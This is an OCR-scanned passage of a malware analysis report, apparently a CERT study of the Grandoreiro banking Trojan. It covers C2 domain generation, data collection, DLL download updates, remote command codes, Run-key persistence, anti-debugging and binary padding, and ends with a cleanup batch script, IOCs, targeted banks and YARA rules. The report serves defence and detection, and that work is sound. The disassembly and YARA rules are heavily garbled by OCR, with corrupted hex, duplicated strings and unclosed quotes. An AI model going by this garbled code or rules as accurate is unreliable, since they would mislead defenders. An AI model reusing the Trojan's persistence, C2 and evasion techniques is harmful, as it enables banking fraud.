mov ecx,dword ptr [ebp-46C] / istri *.servehalflife.com*
BODAOF78 <AnsiString> '4'

lea eax,[ebp-468] * . _
mou edx, BDAA30C 1 de e”OS, rango. 1 80 BODAOFS L <nnsiStrP' 10> ' .servecounterstrike.con®
call @Lstrcat3 51String> '5°
mov eax,dword ptr [ebp-468 BODAOFBO <ANsiString> '.redirectme.net’
lea edx ., [ebp- ..';.. [ebp-165] 2.-lLetrasdela'a'ala'g' BODAYFCE <ARSiString>
call Lowercase BODAYFDY4 <AnsiString> '.myftp.org’
lea eax, [ebp-1464] - L ODAZFES <Ansistring> '7°
nov edx, 0DAA 053 <— 3.- dominio dinamico ZERS ;::;gg;:g; Lghopto-org®
call @LStrCat
mou eax,dword ptr [ebp-464] Ansistring> ' .ddnsking.com'
lea edx, [ebp-10] BODANB2G iString> '9'
call 8eDA7c2c BODAAB3S ing> ‘.gotdns.ch*
>8BDA9BGS xor eax,eax 00DAABLC g> *18° .
push ebp BODAAGSS <nns1strmg> .myftp.biz'
push ODAYE31 BBDAABSC <AnsiString> '11°
push duword ptr fs:[eax] BODAAB7S <AnsiString> ‘b
= = = 4 <AnsisStrino> 12"
Therefore, 80 different dynamic domains are generated in this way.
. 58 e Ex  2e37aast
. 5 csaioros for  izcarsac
: S s i
. 25FOFFFF e
—_—e E8 AEBCESFF
= % oy
re 8DED 14FDFFFF Tea e(\.d\,\urd ptr ss:febp

Figure 26: The process of generating dynamic domains

t

Once the process is finished, it gets the name of the PC and decrypts one of the strings
needs to report to Command and Control. These strings are encrypted within the binary.

. €745 F4 00010000 mov dword ptr ss:lfebp-cll, 100
. 45 F4 Tea cax,dword ptr ss:lieop-Cl
. push e:
. D85 EBFEFFFF Neaeax anara per ss:fep-125]
. push e:
. 8 67D765FF €&T1 <IMP.&GEtCompuUtarNaneas
. 8035 ACFEFFFF Jea edx, dward perss:lebp-4741 [ebp-4741: "98898EF515"
. 58 17000000 7
. E8 03206EFF a1 angne1p. 1408880
. 8895 BCFEEFE mov edx, dword ptr ss:[febp-4 [ebp-474]: "58898EF5 19"
. 330 S0raFFFr Jea ecx,dnord prr =siffeop-47 7
. 330 eax
—e @ E8 BCE370FF a1 “abahelp. 14FFFec
o 01DF9EED 5885 S0FEFFFF mov_eax,dword ptr ss:[ebp-470]
o| 01DFoEEE E8 2D0GEEFF €all dbghelp.145A1E8
| 01DFoEEE 8800 mov edx, eax o
o| 010F 388D AL CoOBEZOL mov_eax,dword ptr_ds: [1£208C0]
| 01DFsECZ E8 DDEOS2FF €&l dbghelp. 1624cAd
o| 01DF9ECT 68 E8030000 ush 38
| 01DF9ECC E£8_376966FF €&l <P &5 eep-
| 01DF3ED1 803D 6OC3F101 01 mp byte ptr d-: [1£1C360], 1
--e| 01DFoEDS| ~ 75 4F 5he dbanelp.10
o| 010F3EDA D35 sEFEFFFF Yea Cox-awora per-2s:[eop-a7sl
o| 01DF9EED BS EB4A3DFOL moy_eax;dbghelp. 1DFA284 1DFA384:7192.168.0.57"
| 01DFoEES E8 72FFGSFF £alll dbghelp. 145985C
| 01DF3EEA 8835 88FEFFFF mov edx,dword ptr ss:[ebp-475]
o| 010F38F0 58 BCOCEZO1 mov_eax, dbghelp. 1£20C6C
=

Figure 27: Starting to collect data from the affected equipment

Each country has an associated identifier (7236), and when it detects that one of them is
being visited, it associates it to this corresponding value in order to report this.

UYL OO S PUZ’II caa 3 J.PIJUI 1<

1 BBDADBES call GetComputeriameA

1BBDAIEBD lea edx, [ebpt+var_474]

1 BEDASES3 mov eax, 17h

1@B0ADBOE call Get_ID String_A_Descifrar
1@BDA9BID mow edx, [ebpt+var_474]

1 BBDATBAS lea ecx, [ebptvar_47@]

»@BDASBAD xor eax, eax

1BA0AIBAR call Decifrar{_str‘ing

1 BBDAIEEE mow eax, [ebptvar_478] ; System::AnsiString
1 @eDASBEG call StrTolnt

:@BDASEBEE mowv edx, eax

1BBDADBBD mow eax, ds:dword_DDeBCE

1 @BDASBC2 call TRtcPortalCli_SetDataEncrypt

1 @A0A9BCT push 3E8h ; dwMilliseconds
1BBDAIBCC call Sleep @

Figure 28: Process of obtaining the name of the PC
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An example of the data to be sent is presented at Figure 29 . The name of the affected
equipment has been obfuscated.

dbghelp. 01D38FEC
“(€S) (CeTxapank) (0 Moras) (windows 7) ((ERIC)2801)

dogne1p. 010FSOFD.

00000002 (SRROR_FILE_NOT_FOUND)
C00000F_(STATUS M) SICH_FTLEY

t Tesp) 1icAFIDa

i [espt4] 010FIE3L dbghelp.0IOFIEIL
+8) 12CAF8SC

peC] 12CAFBAL

.2
: Les+10) Ginroeas anghelo. oiorseas

Figure 29: Data collected in order to be sent

This communication is done with the above-mentioned RTC component.

CODE : 88DAASB3 mov esi, eax

CODE : 22DAASES mov ebx, offset dword _DDEBC® ; TRtcHttpPortalClient
CODE : 8BDAASBA mov edi, offseﬂ unk DD@BF4 ; TListBox
CODE : @@DAASBF xor eax, eax

CODE:8@DAAS1L push ebp

CODE: 28DAAS12 push offset loc_DAATBL

CODE: B@DAASLT push dword ptr fs:[eax]

CODE : 228DAAS1A mov fs:[eax], esp

CODE : @@DAAS1D xor BAN, eax

CODE : @8DAASLF push ebp

CODE: 8@DAAS2E8 push offset loc DAATBC

CODE : @8DAAS2S push dword ptr fs:[eax]

CODE : BBDAAS2E mov fs:[eax], esp

CODE : 88DAAS2E xor BCX, ecCx

CODE : e@DAAS2D mov dl, 1

CODE : @@DAAS2F mov eax, off_CESFA® ; this

CODE : BBDAAS34 call TRtcHttpPortalClient Create

CODE : @28DAAS33 mov [ebx], eax

Figure 30: Use of the RTC HTTP component for communication with Command and Control

Other main functionalities of this Trojan include the following:

® It has the ability to update the malicious dll. For this purpose, the word
UpdateDLLMODULDO is used. This process would download a zip file with the same
name as the dll, unzip it and halt the process to resume it later. In order to do this, a bat
file called cookie.bat is created and added to the actions mentioned above.
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1BBDB1DEC call LstrToPChar

1@8DB1DFL mov edx, offset aUpdatedllmodul ; "UpdateDLLMODULO"
:B80B1DF6 call StrPos

:BB0E1DFB test eax, eax

1 @BDB1DFD jz loc_DB1EE3

:BBDB1EB3 mov dl, 7¢h ; |’ ; char

:@BDB1EBS mov eax, ds:dword_DDeCac ; int

:BBDB1EAA call Tstringlist_Create

1@BDBLEGF lea ecx, [ebpt+var_7BE]

:BEDB1E1S mowv edx, 1

1BEDB1ELA mov ebx, [eax]

1@B0BLELC call dword ptr [ebx+@Ch]

:BBDE1ELF mov eax, [ebp+var_7B38] ; System::AnsiString
tBBDB1E2S lea edx, [ebptvar_8]

1BBDB1E25 call Trim

1@eDBlE2D call call Lstrilr

:@BDB1E32 push 2] ; LPBINDSTATUSCALLBACK
:BBDB1E34 push <] ; DWORD

:@BDB1E36 lea edx, [ebpt+var_7BC]

:BBDB1E3C mov eax, offset _str_APPDATA.Text ; System::AnsiString
1@EDB1E4L call GetEnvirenmentVariable

:@BDB1E46 lea eax, [ebp+var_7BC] ; int

1@B0BLE4C mov edx, offset _str_ dbghelp_zip.Text ; void *
:@BDB1ESL call Lstriat

:BBDB1ESE mov eax, [ebpt+var_78BC]

1BBDB1ESC call LstrToPChar

:@BDB1ERL push eax ; LPCSTR

:BBDB1EG2 mov eax, [ebptvar_8]

:BBDB1EGS call LstrToPChar

1@BDB1EGA push eax ; LPCSTR

:B8BDB1EGE push 2] 3 LPUNKNGOWN

:BBDB1EGD call URLDownloadToFileA

1@BDB1E72 lea edx, [ebptvar_7Ca]

1@BDEL1E7S mov eax, offset _str_APPDATA.Text ; System::AnsiString
:BB0DB1ETD call GetEnviroenmentVariable

:@BDB1ES2 mov eax, [ebp+var_7Ca]
:@BDB1ESE push eax
:BBDE1ESD lea edx, [ebp+var_7C3]
:@BDBLESF mov eax, offset _str APPDATA.Text ; System::AnsiString
:BEDE1E94 call GetEnvironmentVariable
1@BDBLE9Y lea eax, [ebp+var_7C8] ; int
:BBDB1ESF mov edx, offset _str_ dbghelp_zip.Text ; wveid *
:BBDE1EAL call Lstriat
o S —

Figure 31: DLL update

® It has the ability to disconnect the victim using the code SUSPENDEACESSO, to reboot
the machine using the code REINICIAGERAL, or to reboot the Trojan itself using the
code ReinlclaSystem.

1 BEDAF99A 3 _TALONH1 Timer2Timer+19861]
1 BBDAFI9A mov eax, ds:dword_DDBCIC

1 BBDAFISF call LstrTePChar

1 BBDAFOAL mov edx, offset aSuspendeacesso ; "SUSPENDEACESSD”
1 BBDAFIAS call strPos

T BEDAF9AE test eax, eax

1 BBDAFIBR jz short loc_DAF9D2

1 BBDAFIB2 call call LstrClr

1 BEDAF9EBT xor edx, edx

1 BEDAFOEBS mov eax, ds:dword_DDBBCE@

: BBDAFIBE mov ecx, [eax]

Figure 32: Command to disconnect the victim

:@B0B1645 mov eax, ds:dword_DDeCcoc

1 BB0DB16E4A call LStrToPChar

: 8BDB1BAF mov edx, oflfset aReiniciageral ; "REINICIAGERAL"
:BBDB1654 call StrPos

1@BBDELAS9 test eax, eax

:@BDB165B jz short loc_DB1&6C

:@B0B165D call call_LstrClr

:BBDE1E62 mov eax, 2 3 uFlags

:@BDB1667 call call ExitWlindowsEx

Figure 33: Machine reboot process
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s vousCooD tars Lo iurLnar
:BBDAERL3 mov edx, offset aReinlclasystem ; "ReinlclaSystem”
1BBDAEGLE call StrPos

:BEDAERLD test eax, eax

:BADAEGLF jz short loc_DAE@G4

1BBDAEB21 call call LStrClr

:BODAEG2E push 1 ; nShowCmd

:BADAEAZE push e ; lpDirectory

1 BBDAEB2A push ] ; lpParameters

1BBDAEB2C lea edx, [ebptvar_ 18]

:BBDAEG2F mov eax, ds:off_DCCDA4

:BADAEA3L moy eax, [eax]

:BBDAEG3E call ThApplication_GetExeName ; BDS 2885-2807 and Delphi6-7 Visual Component Library
:BADAEGIE mov eax, [ebptvar_18]

:BADAEG3E call LStrToPChar

1BBDAEB43 push eax ; lprile

:BBDAEG4L push ] ; lpOperation

:BADAERG mov eax, ebhx ; this

:BBDAEB48 call TWinControl GetHandle

:BODAEGAD push eax 3 hwnd

:BADAEB4E call ShellExecuted

:BADAEBS3 mov eax, ds:off DCCDA4

Figure 34: Trojan reset command sending area

® |t has the capability to obtain information on cursor use (code EXIBIRMZ).

:B@DB1667 call  call_ExitWindowsEx R
1BODB166C 1BO4AFBCO call_SystemParametersInfoA proc near ; CODE XREF: _TALONH1 Timer:
:8@DB166C loc_DB166C: ; CODE XREF: _TALONH1_Timer2Timer+369Ftj :B@AAFBCE 5 _TALONH1_Timer2Timer+421Dy
:18@DB166C mov eax, ds:dword_DDECIC {BRAAFBCE push 18h ; TWinIni
:BADE1671 call LStrTePChar BBAAFECZ push & ; pvParam
:B@DBL676 mov edx, offset aExibirmz ; "EXISIRMZ” BRAAFBCA push @ s uiParam
:B@DB1678 call  SirPos 1BBAAFECE push  57h ; "W’ 3 uiAction
:80DB1688 test eax, eax 1BOAAFBCE call SystemParametersInfos
:8eDB1682 jz short loc_DB168E :AAAAFRCTY retn
:BBDE1684 call call _LStrClr .
PODB1689 call call_systemParametersInfos SPI_SETCURSORS Reloads the system cursors. Set the uiParam parameter to zero and the
:80DB168E pvParam parameter to NULL.
:@@DB168E loc DB163E: ; CODE XREF: " . _ . . ____
==
Figure 35: Cursor information query
1
B And to control the user's cursor (code OCULTARMZ).

TOUDLDEE LOC_UDLDSE: 3 WUUE AKEF: _IALUNAL_ | IMErs|1mer+s

:@@DB165E maov eax, ds:dword DDECIC

1@BDEL1GE93 call LStrToPChar

:@BDB1698 mow edx, offset aOcultarmz ; "OCULTARMZ"

1@BDEL1EOD call StrPos

1@aDBE16AZ test eax, eax

:@ADE16A4 jz short loc_DB16E@

:@BDB1GAG call call LStrClr

:@BDE1GAB call sub_4AFBD®

-wl:n (==1~%

Figure 36: Command to control the cursor

B [t can create a registry file, called UPAK.BIN, using the code CRIARCADASTRO.

:@eDB1D91 call L5trToPChar

1BB0BL09G mov edx, offset aCriarcadastro ; "CRIARCADASTRO"
:@BDBLD9B call strPos

:@2DB1DAG test eax, eax

:@B0B1DAZ jz short loc_DBIDE7

1@B0B1DA4 call call_LStrClr

1@80B1DAY lea edx, [ebptvar_784]

+@BDBLDAF mov eax, ds:off_DCCDA4

:BB0E1DB4 mov eax, [eax]

:@BDB1DBE call TApplication_GetExeName ; BDS 28@5-28@7 and Delphi6-7 Visual Component Library
:@ADB10BE mov eax, [ebp+var_7B4] ; System::AnsiString
:@A0B1DCL lea edx, [ebp+var_788]

:@@DB1DCT7 call ExtractFileDir

1BB0BLDCC lea eax, [ebptvar_78@8] ; int

:88DB1DD2 mov edx, offset _str_ UPAK BIN.Text ; woid *
:@80B1DD7 call Lstriat

:OODBLDDC mov eax, ebp+var 788]

Figure 37: Create UPAK.BIN file

B |t has the ability to create an activity log in a log called lz.log, using the code
MARCARPC.
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cwwsuriio ass Loururina
:@BDBLEED mov edx, offset aMarcarpc ; "MARCARPC”

1@BBDBLEF2 call strPos

:B8DBLEFT test eax, eax

1 BBDB1EF9 jz loc_DB1FB2

:BADBLEFF mov dl, 1

:@BDE1FGL mov eax, off_41E258

:BBDE1FO6 call TObject_Create_TString_List ; BDS 20@5-2887 and Delphig
:BBDE1FOE mov esi, eax

1BBDE1FED mov eax, esi

1 @BDB1FeF mov edx, [eax]

:@BDE1F1L call dword ptr [edx+4sh]

:00DB1F14 mov dl, 7ch ; '|" ; char

1BBDE1F16 mov eax, ds:dword_DDeCoc ; int

:@8DB1F1B call TStringlist Create

1@eDE1F208 lea ecx, [ebp+var_7De]

1BBDELF26 mov edx, 1

1 BBDB1F2E mov ebx, [eax]

:@BDE1F2D call dword ptr [ebx+8Ch]

:@BDB1F3e mov eax, [ebpt+var_7De]

:@BDELF36 call LstrToPChar

:B@DB1F3B mov edx, eax

1 @BDE1F3D lea eax, [ebp+var_7CC]

1BB0B1F43 call LstrFromPChar  ; BDS 2885-2087 and Delphis-7 Visual Co
1 BBDE1F45 mov edx, [ebp+var_7CC]

1BBDB1FAE mov eax, esi

1 BBDE1F58 mov ecx, [eax]

1@BDE1F52 call dword ptr [ecx+38h]

1 @BDB1F55 lea edx, [ebpt+var_7DC]

:@BDBLFSE mov eax, ds:off _DCCDA4

1BBDE1FGR mov eax, [eax]

1@BDE1F62 call TApplication_GetExeName ; BDS 28@5-2807 and Delphi6-7
1@@DB1F6T mov eax, [ebptvar_7DC] ; System::AnsiString

1 @BDE1F6ED lea edx, [ebp+var_7D8]

:BBDBLF73 call ExtractFileDir

1BBDELF7E lea eax, [ebp+var_7D8] ; int

:@BDB1F7E mov edx, offset _str_ 1z log @.Text ; void *

:@@DB1FE3 call Lstriat

Figure 38: Creating the log to record the activity

® |t can use the code DEL3TARMARCOAO to delete the file Iz.log, as a log mentioned
above, in the same path as the executable.

Lo oD oy CaA, U3 .UWUL UL Iy
1 @BDAFECE call LstrToPChar

1 @BDAFED3 mov edx, offset aDel3tarmarc@ac ; "DELITARMARCSAO"

: BBDAFEDE call 5trPos

1 BBDAFSDD test eax, eax

: @BDAFSDF jz loc_DAF99A

: @BDAFBES call call LstrClr

:BBDAFBEA lea edx, [ebp+var_38C)

:@BDAFEFE mov eax, ds:off DCCDA4

1 @BDAFEFS mov eax, [eax]

 @BDAFEFT call TApplication GetExeName ; BDS 28@5-2087 and Delphi6-7 Visual Com|

Figure 39: Delete the log file

B |t has the capacity to search the processes in memory using the code
DETONATEPROCESS.

1@BDB1FB2 mov eax, ds:dword_DDECSC

:BBDB1FB7 call LStrToPChar

:@BDE1FBC mov edx, offset aDetonaprocesso ; "DETONAPROCESSO"
:@8BDB1FCL call strPos

1 @BDB1FCE test eax, eax

:BBDB1FCE jz short loc_DB2843

:8BDE1FCA mov dl, 7¢ch ; |’ ; char

:@BDB1FCC mov eax, ds:dword_DDBCOC ; int

1@BDB1FD1 call Tstringlist_Create

:BBDB1FDE lea ecx, [ebp+var 7E4]

:@BDB1FDC mov edx, 1

:@BDB1FEL mov ebx, [eax]

1@BDB1FE3 call dword ptr [ebx+eCh]

1BBDB1FEG mov eax, [ebp+var_7E4] ; System::AnsiString
1BBDB1FEC lea edx, [ebptvar 7EB]

2AADRIEED =11 Teim

Figure 40: Searches in-memory processes

® |t has the ability to take screenshots, using the codes ATIVARCAPTURAMAG and
ATIVARCAPTURAFULL. The difference the method used to perform this action: if the
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operating systems are Windows 10, 8.1 and Server, then it uses of the MAG
"Magnification" DLL, otherwise it uses the FULL option.

1BRDB2@6C call LstrToPChar

:86DB2671 mov edx, offset aAtivarcapturam ; "ATIVARCAPTURAMAG"
:@eDB2@876 call strPos

:@eDe2878 test eax, eax

:@BaDE2870 jz loc_DB211F

1800620833 call call LstrClr

180062035 lea edx, [ebp+var_7F@]

:@0DB283E mov eax, ds:AnsiString ; System::AnsiString
18062893 call Trim

1@eDE2@93 mov eax, [ebptvar_7Fa]

:@8DB289E call L5trToPChar

:BBDB2BA3 mowv edx, offset aWindows8_2 ; "Windows 8"
1B0DB20AS call StrPos

1 B@DE28AD test eax, eax

1 BBDB2BAF jnz short loc_DB21@3

:@0DB28B1 lea edx, [ebp+var_7F4]

:BRDBE2@B7 mov eax, ds:AnsiString ; System::AnsiString
:@BDB28BC call Trim

1@eDE28C1 mowv eax, [ebptvar_7F4]

10062807 call L5trToPChar

:88DB28CC mov edx, offset aWindowsl® 2 ; "Windows 18"
188062801 call StrPos

1 @8@DE2806 test eax, eax

:@0DB208058 jnz short loc_DB21@3

:@0DB28DA lea edx, [ebp+var_7F&]

:BRDE28ER mov eax, ds:AnsisString ; System::AnsiString
:@8DB20BES call Trim

:BBDE2BEA mov eax, [ebp+var_7F8]

:@eDB208FR call L5trToPChar

:BBDB2BF5 mov edx, offset aWindowsServer 1 ; "Windows Server”
:@BDB2BFA call StrPos

1 B@DB28FF test eax, eax

1BeDB2181 jz short loc_DB211F

:BebB21@3

Figure 41: Preparing data to be sent

B [t can deactivate the scroll bar using the code DISABLESCROOL.

1 @B0E299C mov eax, ds:dword_DDBCOC

:8BDE29A1 call LstrTePChar

:BBDB29AG mov edx, offset aDisablescrool ; "DISAELESCROOL"
:BADB29AB call 5trPos

1 @8DB29B8 test eax, eax

1@80E29E2 jz short loc_DB29BE

:380E29E4 call call L5trClr

:@8DB29B9 call call_UnhookWindowsHookEx

1 BBDEZ29BE

Figure 42: Disable scrolling

®m |t deletes both the entire directory where the Trojan is located using the DELETEAKL
code, and the registry key, as if it had never existed.
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1@8DB29CS mov edx, offset aDeletakl ; "DELETAKL"
:@8DBE29CD call strPos

:@8DB29D2 test  fax, eax

:@80B2904 jz short loc_DB2A2E

:@@DB29D6 call call_LStrClr

:@8DB29DB xor eax, eax

:8aDB290D push ebp

:@8DB29DE push offset loc_DB29FD

1@BDE29ES push dword ptr fs:[eax]

:@BDB29EG mov fs:[eax], esp

:@BDB29ES mov eax, ds:dword_DD@BEe

:@BDB29EE call borrar_persistencia_registro
:@8DB29F3 xor eax, eax

1@8DB29FS pop edx

1 @BDBE29F6 pop ecx

:@BDE29F7 pop ecx

1@BDB29F3 mov fs:[eax], edx

:@8DB29FB jmp short loc_DB2AB7

B L L I e
+@B80B29FD

:@8DB29FD loc_DB29FD:
— 1@eDB29FD
188062482 ;
:@BDE2AB2 call DoneExcept
1 @8DE2ABT
:@80B2AB7 loc_DB2AABT: ; CODE XREF: _TALONH1_ Timer2Timer+4A3FT]
:@8DB2AGT xor eax, eax
1 @BDE2489 push ebp
:@eDB2ABA push offset loc DB2A24
1 @8DE2AGF push dword ptr fs:[eax]
:@80B2A12 mov fs:[eax], esp
:@8DB2A1S call borrade_directorio_mm_bat

Figure 43: Self-deletion

It is therefore possible to tamper with windows that have been opened by the user, to
capture the user’s keystrokes and to simulate keyboard and mouse actions. At the same
time, it can control the user's browsing or blocking access to websites chosen by the
attacker.

Persistence is ensured by creating a shortcut to it in the registry key
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Uvnerjnx (this key may vary
from case to case), pointing to C:\Usenappdata\roaming\nownowviewview\solodriver.exe
(as the executable name and path may be different in other samples).

g miem et omm apmmen e e e e e gamny et e 3= 4 —p ot 3t in e
Q HKCLASOFTWARE \Microsoft \Windows\Current Version\Run

& Uvnernx Advanced Installer Intune Tool Caphyon LTD clusers' =\appdata‘roaming\nowview\solodriver exs
== 1. i . (x}

[ n.

Figure 44: Examples of network encrypted files

call BEL3trAsg

moy eax, BDDBBE @

now edx ., BDAADER

call BLitrAsg

mow eax,dword ptr [ebp-%4]
call ABDAAB3E

Figure 45: Registration key name
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call ELStrClr
push HAF75C
push dword ptr [ebp-0C]
push HAF79Y4
lea eax,[ebp-18]
moy edx,3
call ELStrcatH
XOr BCX,eCK
mowv dl,1
mou eax,[43F1ER]
call TRegIniFile.Create
mou dword ptr [ebp-18],eax
XOr eax,eax
push ebp
push LAF726
push dword ptr fs:[eax]
moy duord ptr fs:[eax],esp
mou edx 80000081
moy eax,dword ptr [ebp-18]
call TRegistry.SetRootKey
moy eax,dword ptr [ebp-8]
push eax
moy ecx,dword ptr [ebp-14]
moy edx,dword ptr [ebp-10]
moy eax,dword ptr [ebp-18]
call TRegIniFile.WriteString
X0r eax,eax

Figure 46: Register key writing zone to ensure persistence

Thus, every time the computer is rebooted, the Trojan will be executed and will be able to
continue collecting and using any information it may need to communicate with the C&C.

4.3. Protection methods used by the Trojan

The Trojan tries to protect itself from anti-malware software most widely used in Latin
America, such as IBM Trusteer and Warsaw Diebold.

(IBM

(IBM

(WARSAW
(WARSAW

Figure 47: Software searching the infected equipment

A standard measure that many Trojans use is to verify whether they are being debugged,
thanks to the Windows IsDebuggerPresent API.

call StrPos

test eax,eax
> je BODB3ECD
mov eax, BDDBECDE
mouv edx, BDB3FDC
call EL5trAsg
>0BDB3ECD call kernel32 . IsDebuggerPresent
test al,al
> je BBDB3EES
mouv eax,B8DDBCDS
mov edx, BDB3FDC
call BELEtrAsg
>BBDB3EES and bl,3F
®or eax,eax

Figure 48: Debug check with IsDebuggerPresent

Grandoreiro's technique for obfuscating malicious binaries in order to go undetected, which
tries to make binaries so large that malware analysis platforms are unable to detect it due
to their delivery size limitations, is known as binary padding. It is filled with large images for
no other purpose than to make the binary such a size that makes it difficult to analyse.
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The use of legitimate and signed applications loading the dIl with a legitimate and existing
name in the operating system, but in the same directory as the executable (first in the dll
loading path), which causes it to load earlier than expected, makes detection more difficult.
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5. Detection and disinfection

5.1. Detection and disinfection methods

Many anti-virus software programmes are capable of detecting this threat, so it would be
advisable to have anti-virus software and anti-spam tools installed and updated.

In cases where the first touchpoint is a Microsoft Office document, disable the macro
automatic execution function, and, above all, be wary of any unknown senders and do not
install files from unreliable sources under any circumstances.

For disinfection, it is necessary to delete the registry key associated with persistence. In the
analysed sample the registration key is Uvnerjnx. However, it can be different in other
cases. In addition to interrupting the executable that uses the dll, in order to ensure that the
action does not fail due to the fact that the executable was still running and the Trojan dll
was active. Therefore, the following script is valid when the registry key, the path and the
name of the executable match. In other cases, these values must be changed to ensure
that they match.

Key="Uvnerjnx”
Executable="solodriver.exe”
Path="nowview”

reg delete
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
%Clave% /f

taskkill /f /im %ExecutableX%
del /F %APPDATA%\%Path%\*.exe
del /F %APPDATA%\%Path%\*.d1l1l
rmdir /s /q %APPDATA%\%Path%

Table 1. .bat script intended to delete the Trojan and its components

5.2. Recommendations

In order to avoid getting infected with the Grandoreiro malware, it is advisable to apply the
following measures:

®m [gnore irrelevant emails and emails that are sent from an unknown address or include
an attachment (or a link to a website) and never open files or web links included in such
these emails before ensuring that it is perfectly safe to do so.

®  Only download software from official websites and via direct download links.

m Update installed programs through implemented functions or tools provided by official
software developers. The same applies to activating software.

B Regularly scan the operating system for threats with a trustworthy anti-virus or anti-
spyware suite and ensure that this software is kept updated.
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Appendix 1: Indicators of compromise (I0OC)

®  Name (Installer): Archiv.Endes.Fact3101.msi

MD5: 6346c88c0d45779740b526dc7da79fc8
SHA256:
6a3b03e8a8aledfcf33aebb9d55f81ed274196596a20db875e2ae923d6468bbd

® name (Downloader DLL): Binary.Maui.dll

MD5: 20253c20ea35ec595c5577604f8a2730
SHA256:
58084c86acd68c83d84802ef8daa9cdfefdcf34d7falb9a0e04c4cal24e58382

® Name (Trojan DLL): dbghelp.dll

MD5: 98ef8e5ef3bef928537d4fd25c53380a
SHA256:
35c0744bec0el123d24a9ffd3d7a9edeb07d9341ab45619b5fc881ce7dd81276a

B List of affected financial institutions

AMARELO Liberbank HSBCUK
BRSUL Openbank barclaysUK
BancodaAmazonia ING BICE

Banpara Pichincha Ripley
Santander CaixaGeral Bci

Banese Mediolanum Chile
Bradesco Unicaja BancoEstado
AGY TRIODOS Falabella

inter ACTIVOBANK Santander
Sicoob ACTIVOBANKPT Scotiabank
Sicredi novobancopt PortugalBBVA
Caixa santapt bancobcr

itau MONTEPIOpt BarclaysES
nordeste millenniumbcppt BNPParibas
paulista Caixadirectapt CaixaGuissona
Scotiabank EuroBicpt Cajasur

brb ibercaja CitiBusiness
Cetelem BancoAzteca Commerzbank
Banestes Citibanamex Deutsche
Original Banorte EVOBanco
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CajaRural Scotiabank BMN
Sabadell BPI MicroBank
BANKINTER Cecabank MiBanco
Bankia.es natwest
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Appendix 2: Yara Rules of detection

The following Yara rules detect the 2 versions of dll discussed in the study, both the
downloader and the trojan itself:

rule Grandoreiro_Banker_Downloader

{
meta:
author = "INCIBE-CERT"
description = "Detects the Grandoreiro banking Trojan downloader"
strings:
$delphidlll = { BA ?? ?? ?? ?? 83 7D @C @1 75 ?? 50 52 C6 ©5 »? ?? ?? ?? ?? 8B 4D 08 89 @D ??
2 P2 ??
$delphidll2 = { 55 8B EC 83 C4 ?? B8 ?? ?? ?? ?? E8 ?? ?? FF FF E8 ? ?? FF FF 8D 40 00 }
$strl = " 2001, 2002 Mike Lischke"
$str2 = "8%$4,6-9'$6. : *?#1pHhX~AeS1ZrNbS"
$str3 = "Archive already has SFX stub”
$str4 = "Deflate64 compression method is not supported”
$str5 = "Delphi Component"
$stré = "EDecompressionErrorneeded dictionary"
$str7 = "MakeSFX error"
$str8 = "Runtime error at ©0000000"
$str9 = "Web site: http://www.componentace.com"
$str10 = "ScreenToClient"
$strll = "SFXStub property is not specified"
$str12 = "SystemCurrentControlSettings Layouts"
$strl3 = "SystemParametersInfoA" $strl3 = "SystemParametersInfoA"
$strl4 = "TAESCryptoTransform” $strld = "TAESCryptoTransform
$strl5 = "TGetSiteInfoEvent" $strl5 = "TGetSiteInfoEvent"
$str16 = "$TMultiReadExclusiveWriteSynchronizer"
$strl7 = "to create a commercial product, please register and download"
$str18 = "URLDownloadToFileA"
$strl9 = "VerLanguageNameA"
$str20 = "WndProcPtr%.8X%.8X" $str20 = "WndProcPtr%.8X%.8X"
$str21 = "you that your Personal Edition is provided for personal use only"
$str22 = "Zip64Mode" $str22 = "Zip64Mode" $str22 = "Zip64Mode
condition:
uint16(@) == @x5A4D // MZ
and uint16(uint32(0x3C)+0x18) == Ox010B //MZ header at ©0x3C
and (uintl6(uint32(0x3C)+0x16) & ©x2000) == Ox2000 //PE DLL signature
and any of ($delphidll*)
and all of ($str*)
and (filesize > 1400KB and filesize < 3000KB)
}
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rule Grandoreiro_Banker_Trojan

{

meta:
author = "INCIBE-CERT"
description = "Detects the Grandoreiro banking Trojan"

strings:
$mzp = "MzZP
$strl = "yIdIOHandlerSocket
$str2 = "ATIVARCAPTURAFULL"
$str3 = "ATIVARCAPTURAMAG"
$str4 = "AutoSessionsPingT"
$str5 = "v4.09 (2013.Q2)"
$str6 = "CallNextHookEx"
$str7 = "Cap.DfbBackingMode"
$str8 = "CryptPlugin.AfterDisconnect"
$str9 = "deflate 1.1.4 Copyright 1995-2002 Jean-loup Gailly"
$strl@ = "DELETAKL"
$strll = "DETONAPROCESSO"
$str12 = "EXIBIRMZ"
$strl3 = "Gate_CryptPlugin"
$strl4 = "GetType method not available for TRtcDataRow"
$strl5 = "GUploadAnywhere_ Super
$stri6 = ".hopto.org"
$strl7 = "Magnification.dll"
$str18 = "<member><name>RTC.DATASET.ROWS</name>"
$strl9 = "Portable network graphics (AlphaControls)"
$str20 = "RemoteThreadCallbacks TRtcThreadCallback.DestroyCallback"
$str21 = "SUSPENDEACESSO"
$str22 = "ZDecompress_str.InflateInit"

condition:
$mzp at @
and all of ($str*)
and (filesize > 140000KB and filesize < 400000KB)

}
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